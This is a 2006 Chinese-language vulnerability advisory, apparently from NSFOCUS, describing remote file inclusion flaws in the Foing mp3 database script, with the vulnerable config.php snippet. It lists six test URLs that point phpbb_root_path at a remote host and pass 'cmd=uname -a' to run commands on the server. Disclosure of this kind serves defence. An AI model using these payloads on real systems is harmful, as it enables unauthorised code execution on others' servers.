首页 -> 安全研究

安全研究

安全漏洞
Foing多个远程文件包含漏洞

发布日期:2006-05-12
更新日期:2006-05-16

受影响系统:
Foing Foing 0.7.0
Foing Foing 0.6.0
Foing Foing 0.5.0
Foing Foing 0.4.0
Foing Foing 0.3.0
Foing Foing 0.2.0
描述:
BUGTRAQ  ID: 17963

Foing是一款mp3数据库支持脚本。

Foing实现上存在输入验证漏洞,攻击者可以利用这个漏洞包含远程文件,导致执行任意PHP代码。

在Foing的config.php文件中,存在以下有漏洞的代码:

<?php

define('FOING_INSTALLED', true);

$phpbb_root_path = '../';

$foing_prefix = $table_prefix;

?>



<*来源:Botan
  
  链接:http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/[foingpath]/index.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a
http://www.example.com/[foingpath]/song.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a
http://www.example.com/[foingpath]/faq.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a
http://www.example.com/[foingpath]/list.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a
http://www.example.com/[foingpath]/gen_m3u.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a
http://www.example.com/[foingpath]/playlist.php?phpbb_root_path=http://www.example.com?&amp;cmd=uname -a

建议:
厂商补丁:

Foing
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://foing.sourceforge.net/

浏览次数:3039
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障